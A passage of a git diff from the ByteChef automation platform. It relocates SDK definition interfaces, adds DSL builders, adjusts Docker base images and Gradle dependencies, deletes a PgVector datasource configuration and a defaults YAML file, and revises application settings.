diff --git a/sdks/backend/automation/project-api/src/main/java/com/bytechef/automation/project/ProjectHandler.java b/sdks/backend/java/workflow-api/src/main/java/com/bytechef/workflow/ProjectHandler.java
similarity index 91%
rename from sdks/backend/automation/project-api/src/main/java/com/bytechef/automation/project/ProjectHandler.java
rename to sdks/backend/java/workflow-api/src/main/java/com/bytechef/workflow/ProjectHandler.java
index ec47942809b..62c757f480f 100644
--- a/sdks/backend/automation/project-api/src/main/java/com/bytechef/automation/project/ProjectHandler.java
+++ b/sdks/backend/java/workflow-api/src/main/java/com/bytechef/workflow/ProjectHandler.java
@@ -14,9 +14,9 @@
  * limitations under the License.
  */
 
-package com.bytechef.automation.project;
+package com.bytechef.workflow;
 
-import com.bytechef.automation.project.definition.ProjectDefinition;
+import com.bytechef.workflow.definition.ProjectDefinition;
 import com.bytechef.workflow.definition.WorkflowDefinition;
 import java.util.List;
 
diff --git a/sdks/backend/embedded/integration-api/src/main/java/com/bytechef/embedded/integration/definition/IntegrationDefinition.java b/sdks/backend/java/workflow-api/src/main/java/com/bytechef/workflow/definition/IntegrationDefinition.java
similarity index 86%
rename from sdks/backend/embedded/integration-api/src/main/java/com/bytechef/embedded/integration/definition/IntegrationDefinition.java
rename to sdks/backend/java/workflow-api/src/main/java/com/bytechef/workflow/definition/IntegrationDefinition.java
index bc9d5464da3..50665dd4ba2 100644
--- a/sdks/backend/embedded/integration-api/src/main/java/com/bytechef/embedded/integration/definition/IntegrationDefinition.java
+++ b/sdks/backend/java/workflow-api/src/main/java/com/bytechef/workflow/definition/IntegrationDefinition.java
@@ -14,9 +14,8 @@
  * limitations under the License.
  */
 
-package com.bytechef.embedded.integration.definition;
+package com.bytechef.workflow.definition;
 
-import com.bytechef.workflow.definition.WorkflowDefinition;
 import java.util.List;
 import java.util.Optional;
 
@@ -27,17 +26,15 @@ public interface IntegrationDefinition {
 
     Optional<String> getCategory();
 
+    Optional<String> getDescription();
+
     String getComponentName();
 
     int getComponentVersion();
 
-    Optional<String> getDescription();
-
-    boolean isMultipleInstances();
+    Optional<List<WorkflowDefinition>> getWorkflows();
 
     Optional<List<String>> getTags();
 
     String getVersion();
-
-    Optional<List<WorkflowDefinition>> getWorkflows();
 }
diff --git a/sdks/backend/automation/project-api/src/main/java/com/bytechef/automation/project/definition/ProjectDefinition.java b/sdks/backend/java/workflow-api/src/main/java/com/bytechef/workflow/definition/ProjectDefinition.java
similarity index 89%
rename from sdks/backend/automation/project-api/src/main/java/com/bytechef/automation/project/definition/ProjectDefinition.java
rename to sdks/backend/java/workflow-api/src/main/java/com/bytechef/workflow/definition/ProjectDefinition.java
index 658841b717c..9b92cd4547d 100644
--- a/sdks/backend/automation/project-api/src/main/java/com/bytechef/automation/project/definition/ProjectDefinition.java
+++ b/sdks/backend/java/workflow-api/src/main/java/com/bytechef/workflow/definition/ProjectDefinition.java
@@ -14,9 +14,8 @@
  * limitations under the License.
  */
 
-package com.bytechef.automation.project.definition;
+package com.bytechef.workflow.definition;
 
-import com.bytechef.workflow.definition.WorkflowDefinition;
 import java.util.List;
 import java.util.Optional;
 
diff --git a/sdks/backend/java/workflow-api/src/main/java/com/bytechef/workflow/definition/WorkflowDsl.java b/sdks/backend/java/workflow-api/src/main/java/com/bytechef/workflow/definition/WorkflowDsl.java
index 424d33a9481..4e759e59481 100644
--- a/sdks/backend/java/workflow-api/src/main/java/com/bytechef/workflow/definition/WorkflowDsl.java
+++ b/sdks/backend/java/workflow-api/src/main/java/com/bytechef/workflow/definition/WorkflowDsl.java
@@ -24,6 +24,14 @@
  */
 public class WorkflowDsl {
 
+    public static ModifiableIntegrationDefinition integration(String componentName, int componentVersion) {
+        return new ModifiableIntegrationDefinition(componentName, componentVersion);
+    }
+
+    public static ModifiableProjectDefinition project(String name) {
+        return new ModifiableProjectDefinition(name);
+    }
+
     public static ModifiableWorkflowDefinition workflow(String name) {
         return new ModifiableWorkflowDefinition(name);
     }
@@ -44,6 +52,67 @@ public static ModifiableOutput output() {
         return new ModifiableOutput();
     }
 
+    public static class ModifiableIntegrationDefinition implements IntegrationDefinition {
+
+        private final String componentName;
+        private final int componentVersion;
+        private String version;
+        private List<WorkflowDefinition> workflows;
+
+        public ModifiableIntegrationDefinition(String componentName, int componentVersion) {
+            this.componentName = componentName;
+            this.componentVersion = componentVersion;
+            this.version = "0.0.1";
+        }
+
+        public ModifiableIntegrationDefinition version(String version) {
+            this.version = version;
+
+            return this;
+        }
+
+        public ModifiableIntegrationDefinition workflows(WorkflowDefinition... workflows) {
+            this.workflows = List.of(workflows);
+
+            return this;
+        }
+
+        @Override
+        public Optional<String> getCategory() {
+            return Optional.empty();
+        }
+
+        @Override
+        public Optional<String> getDescription() {
+            return Optional.empty();
+        }
+
+        @Override
+        public String getComponentName() {
+            return componentName;
+        }
+
+        @Override
+        public int getComponentVersion() {
+            return componentVersion;
+        }
+
+        @Override
+        public Optional<List<WorkflowDefinition>> getWorkflows() {
+            return Optional.ofNullable(workflows);
+        }
+
+        @Override
+        public Optional<List<String>> getTags() {
+            return Optional.empty();
+        }
+
+        @Override
+        public String getVersion() {
+            return version;
+        }
+    }
+
     public static class ModifiableInput implements Input {
 
     }
@@ -56,6 +125,67 @@ public static class ModifiableParameter implements Parameter {
 
     }
 
+    public static class ModifiableProjectDefinition implements ProjectDefinition {
+
+        private String description;
+        private final String name;
+        private String version;
+        private List<WorkflowDefinition> workflows;
+
+        public ModifiableProjectDefinition(String name) {
+            this.name = name;
+            this.version = "0.0.1";
+        }
+
+        public ModifiableProjectDefinition description(String description) {
+            this.description = description;
+
+            return this;
+        }
+
+        public ModifiableProjectDefinition version(String version) {
+            this.version = version;
+
+            return this;
+        }
+
+        public ModifiableProjectDefinition workflows(WorkflowDefinition... workflows) {
+            this.workflows = List.of(workflows);
+
+            return this;
+        }
+
+        @Override
+        public Optional<String> getCategory() {
+            return Optional.empty();
+        }
+
+        @Override
+        public Optional<String> getDescription() {
+            return Optional.ofNullable(description);
+        }
+
+        @Override
+        public String getName() {
+            return name;
+        }
+
+        @Override
+        public List<WorkflowDefinition> getWorkflows() {
+            return workflows;
+        }
+
+        @Override
+        public Optional<List<String>> getTags() {
+            return Optional.empty();
+        }
+
+        @Override
+        public String getVersion() {
+            return version;
+        }
+    }
+
     public static class ModifiableTaskDefinition implements TaskDefinition {
 
         private String description;
diff --git a/sdks/frontend/automation/chat/library/package.json b/sdks/frontend/automation/chat/library/package.json
index 45f22102bd2..f0a0c2562eb 100644
--- a/sdks/frontend/automation/chat/library/package.json
+++ b/sdks/frontend/automation/chat/library/package.json
@@ -49,6 +49,7 @@
         "@emotion/is-prop-valid": "^1.4.0",
         "@radix-ui/react-avatar": "^1.1.11",
         "@radix-ui/react-dialog": "^1.1.15",
+        "@radix-ui/react-slot": "^1.2.4",
         "@radix-ui/react-tooltip": "^1.2.8",
         "class-variance-authority": "^0.7.1",
         "lucide-react": "^0.562.0",
diff --git a/server/apps/server-app/Dockerfile b/server/apps/server-app/Dockerfile
index ab3020f05f4..cc18cc0e342 100644
--- a/server/apps/server-app/Dockerfile
+++ b/server/apps/server-app/Dockerfile
@@ -1,5 +1,5 @@
 # docker/dockerfile:1
-FROM ghcr.io/graalvm/graalvm-community:25.0.2  AS bytechef-server-base
+FROM ghcr.io/graalvm/graalvm-community:25.0.0  AS bytechef-server-base
 
 ARG ARG_APPLICATION_HOME=/opt/bytechef
 
diff --git a/server/apps/server-app/Dockerfile_dev b/server/apps/server-app/Dockerfile_dev
index 4bd34eaee9f..9534f092f3b 100644
--- a/server/apps/server-app/Dockerfile_dev
+++ b/server/apps/server-app/Dockerfile_dev
@@ -1,4 +1,4 @@
-FROM gradle:9.3.0-jdk25-alpine AS build
+FROM gradle:9.2.0-jdk25-alpine AS build
 
 WORKDIR /build
 
@@ -16,7 +16,7 @@ WORKDIR ./
 
 RUN gradle bootJar --no-daemon
 
-FROM ghcr.io/graalvm/graalvm-community:25.0.2
+FROM ghcr.io/graalvm/graalvm-community:25.0.0
 
 WORKDIR /opt
 
diff --git a/server/apps/server-app/build.gradle.kts b/server/apps/server-app/build.gradle.kts
index c7f94642b33..0aab59ce954 100644
--- a/server/apps/server-app/build.gradle.kts
+++ b/server/apps/server-app/build.gradle.kts
@@ -51,18 +51,9 @@ dependencies {
     implementation(project(":server:libs:automation:automation-configuration:automation-configuration-instance-impl"))
     implementation(project(":server:libs:automation:automation-configuration:automation-configuration-rest:automation-configuration-rest-impl"))
     implementation(project(":server:libs:automation:automation-configuration:automation-configuration-service"))
-    implementation(project(":server:libs:automation:automation-data-table:automation-data-table-graphql"))
-    implementation(project(":server:libs:automation:automation-data-table:automation-data-table-service"))
     implementation(project(":server:libs:automation:automation-execution:automation-execution-service"))
-    implementation(project(":server:libs:automation:automation-knowledge-base:automation-knowledge-base-file-storage:automation-knowledge-base-file-storage-impl"))
-    implementation(project(":server:libs:automation:automation-knowledge-base:automation-knowledge-base-graphql"))
-    implementation(project(":server:libs:automation:automation-knowledge-base:automation-knowledge-base-rest"))
-    implementation(project(":server:libs:automation:automation-knowledge-base:automation-knowledge-base-service"))
-    implementation(project(":server:libs:automation:automation-knowledge-base:automation-knowledge-base-worker"))
     implementation(project(":server:libs:automation:automation-mcp:automation-mcp-graphql"))
     implementation(project(":server:libs:automation:automation-mcp:automation-mcp-service"))
-    implementation(project(":server:libs:automation:automation-search:automation-search-graphql"))
-    implementation(project(":server:libs:automation:automation-search:automation-search-service"))
     implementation(project(":server:libs:automation:automation-swagger"))
     implementation(project(":server:libs:automation:automation-workflow:automation-workflow-coordinator"))
     implementation(project(":server:libs:automation:automation-workflow:automation-workflow-execution:automation-workflow-execution-rest"))
@@ -93,12 +84,9 @@ dependencies {
     implementation(project(":server:libs:core:message:message-broker:message-broker-redis"))
     implementation(project(":server:libs:core:message:message-event:message-event-impl"))
     implementation(project(":server:libs:core:rest:rest-impl"))
-    implementation(project(":server:libs:core:tenant:tenant-api"))
     implementation(project(":server:libs:core:tenant:tenant-single-service"))
     implementation(project(":server:libs:platform:platform-category:platform-category-service"))
     implementation(project(":server:libs:platform:platform-component:platform-component-context:platform-component-context-service"))
-    implementation(project(":server:libs:platform:platform-component:platform-component-log:platform-component-log-graphql"))
-    implementation(project(":server:libs:platform:platform-component:platform-component-log:platform-component-log-service"))
     implementation(project(":server:libs:platform:platform-component:platform-component-service"))
     implementation(project(":server:libs:platform:platform-connection:platform-connection-service"))
     implementation(project(":server:libs:platform:platform-configuration:platform-configuration-graphql"))
@@ -129,14 +117,13 @@ dependencies {
     implementation(project(":server:libs:platform:platform-workflow:platform-workflow-test:platform-workflow-test-service"))
     implementation(project(":server:libs:platform:platform-workflow:platform-workflow-execution:platform-workflow-execution-rest:platform-workflow-execution-rest-impl"))
     implementation(project(":server:libs:platform:platform-workflow:platform-workflow-execution:platform-workflow-execution-service"))
-    implementation(project(":server:libs:platform:platform-workflow:platform-workflow-worker:platform-workflow-worker-api"))
     implementation(project(":server:libs:platform:platform-workflow:platform-workflow-worker:platform-workflow-worker-impl"))
 
     run {
         rootProject.subprojects
             .asSequence()
             .filter { it.path.startsWith(":server:libs:modules:components") }
-            .filterNot { it.path in setOf(":server:libs:modules:components:example") }
+            .filterNot { it.path in setOf(":server:libs:modules:components:ai:llm:amazon-bedrock", ":server:libs:modules:components:example") }
             .sortedBy { it.path }
             .forEach { implementation(project(it.path)) }
     }
@@ -165,8 +152,6 @@ dependencies {
     implementation(project(":server:ee:libs:config:cloud-config"))
     implementation(project(":server:ee:libs:config:observability-config"))
     implementation(project(":server:ee:libs:config:tenant-multi-data-config"))
-    implementation(project(":server:ee:libs:config:tenant-multi-knowledge-base-config"))
-    implementation(project(":server:ee:libs:config:tenant-multi-pgvector-config"))
     implementation(project(":server:ee:libs:config:tenant-multi-security-config"))
     implementation(project(":server:ee:libs:core:cloud:cloud-aws"))
     implementation(project(":server:ee:libs:core:file-storage:file-storage-aws:file-storage-aws-api"))
@@ -194,7 +179,7 @@ dependencies {
     implementation(project(":server:ee:libs:embedded:embedded-workflow:embedded-workflow-coordinator"))
     implementation(project(":server:ee:libs:embedded:embedded-workflow:embedded-workflow-execution:embedded-workflow-execution-rest"))
     implementation(project(":server:ee:libs:embedded:embedded-workflow:embedded-workflow-execution:embedded-workflow-execution-service"))
-    implementation(project(":server:ee:libs:platform:platform-api-connector:platform-api-connector-configuration:platform-api-connector-configuration-graphql"))
+    implementation(project(":server:ee:libs:platform:platform-api-connector:platform-api-connector-configuration:platform-api-connector-configuration-rest"))
     implementation(project(":server:ee:libs:platform:platform-api-connector:platform-api-connector-configuration:platform-api-connector-configuration-service"))
     implementation(project(":server:ee:libs:platform:platform-api-connector:platform-api-connector-file-storage:platform-api-connector-file-storage-impl"))
     implementation(project(":server:ee:libs:platform:platform-api-connector:platform-api-connector-handler"))
@@ -204,8 +189,8 @@ dependencies {
     implementation(project(":server:ee:libs:platform:platform-configuration:platform-configuration-rest"))
     implementation(project(":server:ee:libs:platform:platform-configuration:platform-configuration-service"))
     implementation(project(":server:ee:libs:platform:platform-custom-component:platform-custom-component-handler"))
+    implementation(project(":server:ee:libs:platform:platform-custom-component:platform-custom-component-configuration:platform-custom-component-configuration-public-rest"))
     implementation(project(":server:ee:libs:platform:platform-custom-component:platform-custom-component-configuration:platform-custom-component-configuration-rest"))
-    implementation(project(":server:ee:libs:platform:platform-custom-component:platform-custom-component-configuration:platform-custom-component-configuration-graphql"))
     implementation(project(":server:ee:libs:platform:platform-custom-component:platform-custom-component-configuration:platform-custom-component-configuration-service"))
     implementation(project(":server:ee:libs:platform:platform-custom-component:platform-custom-component-file-storage:platform-custom-component-file-storage-impl"))
     implementation(project(":server:ee:libs:platform:platform-scheduler:platform-scheduler-aws"))
@@ -225,15 +210,7 @@ dependencies {
     runtimeOnly("com.zaxxer:HikariCP")
     runtimeOnly("org.postgresql:postgresql")
 
-    testImplementation(project(":server:libs:ai:mcp:mcp-tool:mcp-tool-automation-impl"))
-    testImplementation(project(":server:libs:ai:mcp:mcp-tool:mcp-tool-platform"))
     testImplementation(project(":server:libs:test:test-int-support"))
-    testImplementation(project(":server:libs:core:tenant:tenant-api"))
-    testImplementation(project(":server:libs:automation:automation-knowledge-base:automation-knowledge-base-api"))
-    testImplementation("org.springframework.boot:spring-boot-jdbc")
-    testImplementation("org.testcontainers:testcontainers")
-    testImplementation("org.testcontainers:postgresql")
-    testImplementation("org.testcontainers:junit-jupiter")
 }
 
 configure<com.gorylenko.GitPropertiesPluginExtension> {
diff --git a/server/apps/server-app/src/main/java/com/bytechef/server/config/EvaluatorConfiguration.java b/server/apps/server-app/src/main/java/com/bytechef/server/config/EvaluatorConfiguration.java
index e0015e37b59..bf8a3f0c8ea 100644
--- a/server/apps/server-app/src/main/java/com/bytechef/server/config/EvaluatorConfiguration.java
+++ b/server/apps/server-app/src/main/java/com/bytechef/server/config/EvaluatorConfiguration.java
@@ -9,7 +9,6 @@
 
 import com.bytechef.evaluator.Evaluator;
 import com.bytechef.evaluator.SpelEvaluator;
-import com.bytechef.platform.workflow.worker.ai.FromAi;
 import org.springframework.context.annotation.Bean;
 import org.springframework.context.annotation.Configuration;
 
@@ -23,8 +22,6 @@ public class EvaluatorConfiguration {
 
     @Bean
     Evaluator evaluator() {
-        return SpelEvaluator.builder()
-            .methodExecutor("fromAi", new FromAi())
-            .build();
+        return SpelEvaluator.create();
     }
 }
diff --git a/server/apps/server-app/src/main/java/com/bytechef/server/config/JdbcConfiguration.java b/server/apps/server-app/src/main/java/com/bytechef/server/config/JdbcConfiguration.java
index 73ec35883cd..216b2c4c5be 100644
--- a/server/apps/server-app/src/main/java/com/bytechef/server/config/JdbcConfiguration.java
+++ b/server/apps/server-app/src/main/java/com/bytechef/server/config/JdbcConfiguration.java
@@ -28,6 +28,7 @@
 import com.bytechef.commons.data.jdbc.converter.StringToExecutionErrorConverter;
 import com.bytechef.commons.data.jdbc.converter.StringToFileEntryConverter;
 import com.bytechef.commons.data.jdbc.converter.StringToMapWrapperConverter;
+import com.bytechef.config.ApplicationProperties;
 import com.bytechef.ee.ai.copilot.repository.converter.ListDoubleToPGObjectConverter;
 import com.bytechef.ee.ai.copilot.repository.converter.MapToPGObjectConverter;
 import com.bytechef.ee.ai.copilot.repository.converter.PGObjectToListDoubleConverter;
@@ -41,12 +42,10 @@
 import com.bytechef.platform.workflow.execution.repository.converter.TriggerStateValueToStringConverter;
 import com.bytechef.platform.workflow.execution.repository.converter.WorkflowExecutionIdToStringConverter;
 import com.bytechef.platform.workflow.execution.repository.converter.WorkflowTriggerToStringConverter;
-import com.bytechef.tenant.annotation.ConditionalOnSingleTenant;
 import com.zaxxer.hikari.HikariDataSource;
 import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
 import java.util.Arrays;
 import java.util.List;
-import java.util.Objects;
 import javax.sql.DataSource;
 import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
 import org.springframework.boot.jdbc.DataSourceBuilder;
@@ -81,15 +80,15 @@
 @Configuration
 public class JdbcConfiguration extends AbstractJdbcConfiguration {
 
-    private final DataSourceProperties dataSourceProperties;
+    private final ApplicationProperties.Datasource datasource;
     private final Encryption encryption;
     private final ObjectMapper objectMapper;
 
     @SuppressFBWarnings("EI2")
     public JdbcConfiguration(
-        DataSourceProperties dataSourceProperties, Encryption encryption, ObjectMapper objectMapper) {
+        ApplicationProperties applicationProperties, Encryption encryption, ObjectMapper objectMapper) {
 
-        this.dataSourceProperties = dataSourceProperties;
+        this.datasource = applicationProperties.getDatasource();
         this.encryption = encryption;
         this.objectMapper = objectMapper;
     }
@@ -108,13 +107,12 @@ jdbcConverter, operations, new SqlParametersFactory(context, jdbcConverter),
     @Bean
     @Primary
     @ConditionalOnProperty(prefix = "bytechef.datasource", name = "url")
-    @ConditionalOnSingleTenant
     DataSource dataSource(DataSourceProperties properties) {
         return DataSourceBuilder.create(properties.getClassLoader())
             .type(HikariDataSource.class)
-            .url(Objects.requireNonNull(dataSourceProperties.getUrl()))
-            .username(dataSourceProperties.getUsername())
-            .password(dataSourceProperties.getPassword())
+            .url(datasource.getUrl())
+            .username(datasource.getUsername())
+            .password(datasource.getPassword())
             .build();
     }
 
diff --git a/server/apps/server-app/src/main/java/com/bytechef/server/config/PgVectorJdbcConfiguration.java b/server/apps/server-app/src/main/java/com/bytechef/server/config/PgVectorJdbcConfiguration.java
deleted file mode 100644
index ae443d8ab28..00000000000
--- a/server/apps/server-app/src/main/java/com/bytechef/server/config/PgVectorJdbcConfiguration.java
+++ /dev/null
@@ -1,110 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.server.config;
-
-import com.bytechef.config.ApplicationProperties;
-import com.zaxxer.hikari.HikariDataSource;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import javax.sql.DataSource;
-import org.springframework.beans.factory.annotation.Qualifier;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.boot.jdbc.DataSourceBuilder;
-import org.springframework.context.ApplicationContext;
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-import org.springframework.data.jdbc.core.JdbcAggregateTemplate;
-import org.springframework.data.jdbc.core.convert.DataAccessStrategy;
-import org.springframework.data.jdbc.core.convert.DefaultDataAccessStrategy;
-import org.springframework.data.jdbc.core.convert.InsertStrategyFactory;
-import org.springframework.data.jdbc.core.convert.JdbcConverter;
-import org.springframework.data.jdbc.core.convert.QueryMappingConfiguration;
-import org.springframework.data.jdbc.core.convert.SqlGeneratorSource;
-import org.springframework.data.jdbc.core.convert.SqlParametersFactory;
-import org.springframework.data.relational.core.dialect.Dialect;
-import org.springframework.data.relational.core.mapping.RelationalMappingContext;
-import org.springframework.jdbc.core.JdbcTemplate;
-import org.springframework.jdbc.core.namedparam.NamedParameterJdbcOperations;
-import org.springframework.jdbc.core.namedparam.NamedParameterJdbcTemplate;
-import org.springframework.jdbc.support.JdbcTransactionManager;
-import org.springframework.transaction.TransactionManager;
-
-/**
- * @author Ivica Cardic
- */
-@Configuration
-@ConditionalOnProperty(prefix = "spring.ai.vectorstore", name = "type", havingValue = "pgvector")
-class PgVectorJdbcConfiguration {
-
-    private final ApplicationProperties.Ai.Vectorstore.PgVector pgVector;
-
-    @SuppressFBWarnings("EI")
-    PgVectorJdbcConfiguration(ApplicationProperties applicationProperties) {
-        this.pgVector = applicationProperties.getAi()
-            .getVectorstore()
-            .getPgVector();
-    }
-
-    @Bean
-    @ConditionalOnProperty(prefix = "bytechef.ai.vectorstore.pgvector", name = "url")
-    @ConditionalOnProperty(prefix = "bytechef.tenant", name = "mode", havingValue = "single", matchIfMissing = true)
-    DataSource pgVectorDataSource() {
-        return DataSourceBuilder.create()
-            .type(HikariDataSource.class)
-            .url(pgVector.getUrl())
-            .username(pgVector.getUsername())
-            .password(pgVector.getPassword())
-            .build();
-    }
-
-    @Bean
-    JdbcTemplate pgVectorJdbcTemplate(@Qualifier("pgVectorDataSource") DataSource pgVectorDataSource) {
-        return new JdbcTemplate(pgVectorDataSource);
-    }
-
-    @Bean
-    NamedParameterJdbcOperations pgVectorNamedParameterJdbcOperations(
-        @Qualifier("pgVectorDataSource") DataSource pgVectorDataSource) {
-
-        return new NamedParameterJdbcTemplate(pgVectorDataSource);
-    }
-
-    @Bean
-    TransactionManager pgVectorTransactionManager(
-        @Qualifier("pgVectorDataSource") DataSource pgVectorDataSource) {
-
-        return new JdbcTransactionManager(pgVectorDataSource);
-    }
-
-    @Bean
-    DataAccessStrategy pgVectorDataAccessStrategy(
-        @Qualifier("pgVectorNamedParameterJdbcOperations") NamedParameterJdbcOperations operations,
-        JdbcConverter jdbcConverter, RelationalMappingContext context, Dialect jdbcDialect) {
-
-        return new DefaultDataAccessStrategy(
-            new SqlGeneratorSource(context, jdbcConverter, jdbcDialect), context, jdbcConverter, operations,
-            new SqlParametersFactory(context, jdbcConverter), new InsertStrategyFactory(operations, jdbcDialect),
-            QueryMappingConfiguration.EMPTY);
-    }
-
-    @Bean
-    JdbcAggregateTemplate pgVectorJdbcAggregateTemplate(
-        ApplicationContext applicationContext, RelationalMappingContext context, JdbcConverter jdbcConverter,
-        @Qualifier("pgVectorDataAccessStrategy") DataAccessStrategy dataAccessStrategy) {
-
-        return new JdbcAggregateTemplate(applicationContext, context, jdbcConverter, dataAccessStrategy);
-    }
-}
diff --git a/server/apps/server-app/src/main/resources/config/application-bytechef.yml b/server/apps/server-app/src/main/resources/config/application-bytechef.yml
deleted file mode 100644
index f161c717d1b..00000000000
--- a/server/apps/server-app/src/main/resources/config/application-bytechef.yml
+++ /dev/null
@@ -1,131 +0,0 @@
-bytechef:
-  ai:
-    anthropic:
-      chat:
-        options:
-          model: claude-sonnet-4-5
-          temperature: 0.5
-      embedding:
-        provider: openai
-        openai:
-          options:
-            model: text-embedding-3-small
-    copilot:
-      enabled: false
-      provider: openai
-      vectorstore:
-        provider: pgvector
-    knowledge-base:
-      embedding:
-        provider: openai
-        openai:
-          options:
-            model: text-embedding-3-small
-      enabled: false
-      vectorstore:
-        provider: pgvector
-    openai:
-      chat:
-        options:
-          model: gpt-5.2
-          temperature: 0.5
-      embedding:
-        options:
-          model: text-embedding-3-small
-  analytics:
-    enabled: false
-  cache:
-    # Cache provider (redis | caffeine) default: caffeine
-    provider: caffeine
-  coordinator:
-    trigger:
-      polling:
-        # Trigger polling interval in minutes (default: 5)
-        check-period: 5
-      scheduler:
-        # Trigger scheduler provider (aws(ee) | quartz) default: quartz
-        provider: quartz
-  data-storage:
-    # Data storage provider (aws(ee) | filesystem | jdbc) default: jdbc
-    provider: jdbc
-  # Edition (CE - Community Edition | EE - Enterprise Edition) default: EE
-  edition: EE
-  # Encryption key provider (filesystem - the key generated on filesystem, property - the key read from property) default: filesystem
-  encryption:
-    provider: filesystem
-  file-storage:
-    # File storage provider (aws(ee) | filesystem | jdbc) default: filesystem
-    provider: filesystem
-    filesystem:
-      basedir: ${user.home}/bytechef/data/file-storage
-  help-hub:
-    enabled: false
-  mail:
-    auth: false
-    base-url: ${bytechef.public-url}
-    debug: false
-    from: noreply@app.bytechef.io
-    host: localhost
-    port: 25
-    protocol: smtp
-    ssl:
-      enabled: false
-    starttls:
-      enable: false
-      required: false
-  message-broker:
-    # Messaging provider between Coordinator and Workers (amqp | jms | kafka | memory | redis) default: memory
-    provider: memory
-  oauth2:
-#    predefinedApps:
-#      mailchimp:
-#        clientId: 123456789
-#        clientSecret: 123456789
-    redirect-uri: ${bytechef.public-url}/callback
-  observability:
-    enabled: false
-    logging:
-      endpoint: http://localhost:4318/v1/logs
-    metrics:
-      endpoint: http://localhost:4318/v1/metrics
-    tracing:
-      endpoint: http://localhost:4318/v1/traces
-  public-url:
-  resources:
-    web: file:///opt/bytechef/client/
-  security:
-    content-security-policy: "default-src 'self'; frame-src 'self' https://*.command.ai data:; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://*.command.ai https://*.commandbar.com https://*.i.posthog.com https://cdn.jsdelivr.net https://storage.googleapis.com https://unpkg.com; style-src 'self' 'unsafe-inline' https://*.commandbar.com https://cdn.jsdelivr.net https://*.command.ai https://unpkg.com; img-src 'self' https://*.command.ai data:; font-src 'self' data:; media-src 'self' https://*.command.ai; connect-src 'self' https://*.command.ai https://*.i.posthog.com https://*.commandbar.com; worker-src blob: 'self';"
-    social-login:
-      enabled: false
-      google:
-        client-id:
-        client-secret:
-      github:
-        client-id:
-        client-secret:
-    system:
-      username: system_admin
-      password:
-  sign-up:
-    activation-required: false
-  # Tenant support mode (single | multi - ee only) default: single
-  tenant:
-    mode: single
-  webhook-url:
-  # When the worker is enabled, subscribe to the default "default" queue with 10 concurrent consumers.
-  # You may also route workflow tasks to other arbitrarily named task queues by specifying the "node"
-  # property on any given task.
-  # E.g. node: captions will route to the captions queue which a worker would subscribe to with workflow.worker.subscriptions.captions.
-  # Note: queue must be created before tasks can be routed to it. ByteChef will create the queue if it isn't already there when the worker
-  # bootstraps.
-  worker:
-    task:
-      subscriptions:
-        default: 10
-  workflow:
-    output-storage:
-      # Output storage provider for workflow output data (aws(ee) | filesystem | jdbc) default: jdbc
-      provider: jdbc
-    repository:
-      jdbc:
-        enabled: true
diff --git a/server/apps/server-app/src/main/resources/config/application-dev.yml b/server/apps/server-app/src/main/resources/config/application-dev.yml
index e6d0e0b23aa..4026d0760b5 100644
--- a/server/apps/server-app/src/main/resources/config/application-dev.yml
+++ b/server/apps/server-app/src/main/resources/config/application-dev.yml
@@ -2,7 +2,6 @@ logging:
   level:
     ROOT: INFO
     com.bytechef: DEBUG
-    com.bytechef.ee.observability: INFO
     org.springframework.ai.chat.client.advisor': DEBUG
 
 server:
@@ -26,11 +25,12 @@ spring:
 
 bytechef:
   ai:
-    vectorstore:
-      pgvector:
-        url: jdbc:postgresql://localhost:5433/bytechef_vectorstore
-        username: postgres
-        password: postgres
+    copilot:
+      vectorstore:
+        pgvector:
+          url: jdbc:postgresql://localhost:5433/bytechef_copilot
+          username: postgres
+          password: postgres
   datasource:
     # PostgreSQL database
     #    url: jdbc:postgresql://localhost:5432/bytechef
diff --git a/server/apps/server-app/src/main/resources/config/application-prod.yml b/server/apps/server-app/src/main/resources/config/application-prod.yml
index fd4129ae35a..55908914b19 100644
--- a/server/apps/server-app/src/main/resources/config/application-prod.yml
+++ b/server/apps/server-app/src/main/resources/config/application-prod.yml
@@ -2,9 +2,6 @@ logging:
   level:
     ROOT: INFO
     com.bytechef: INFO
-  structured:
-    format:
-      console: ecs
 
 server:
   port: 8080
diff --git a/server/apps/server-app/src/main/resources/config/application.yml b/server/apps/server-app/src/main/resources/config/application.yml
index 609470dcf45..6ed9e81007a 100644
--- a/server/apps/server-app/src/main/resources/config/application.yml
+++ b/server/apps/server-app/src/main/resources/config/application.yml
@@ -30,8 +30,6 @@ info:
   signUp:
     activationRequired: ${bytechef.sign-up.activation-required}
     enabled: ${bytechef.sign-up.enabled}
-  socialLogin:
-    enabled: ${bytechef.security.social-login.enabled}
 
 logging:
   level:
@@ -94,29 +92,22 @@ management:
   observations:
     key-values:
       application: ${spring.application.name}
-  opentelemetry:
-    tracing:
-      export:
-        otlp:
-          endpoint: ${bytechef.observability.tracing.endpoint}
-    logging:
+  # Prometheus is the default metrics backend
+  prometheus:
+    metrics:
       export:
-        otlp:
-          endpoint: ${bytechef.observability.logging.endpoint}
-  logging:
-    export:
-      enabled: ${bytechef.observability.enabled}
+        enabled: ${bytechef.observability.enabled}
+        step: 60
   tracing:
-    export:
-      enabled: ${bytechef.observability.enabled}
+    enabled: ${bytechef.observability.enabled}
     sampling:
       probability: 1.0
   otlp:
     metrics:
       export:
         enabled: ${bytechef.observability.enabled}
-        step: 10s
-        url: ${bytechef.observability.metrics.endpoint}
+    tracing:
+      endpoint: ${bytechef.tracing.otlp.endpoint}
 
 openapi:
   openAPIDefinition:
@@ -126,8 +117,6 @@ openapi:
       platform: /api/platform
 
 spring:
-  config:
-    import: classpath:config/application-bytechef.yml
   ai:
     chat:
       client:
@@ -141,17 +130,17 @@ spring:
       image: none
       moderation: none
     anthropic:
-      api-key: ${bytechef.ai.anthropic.api-key}
+      api-key: ${bytechef.ai.copilot.anthropic.api-key}
       chat:
         options:
-          model: ${bytechef.ai.anthropic.chat.options.model}
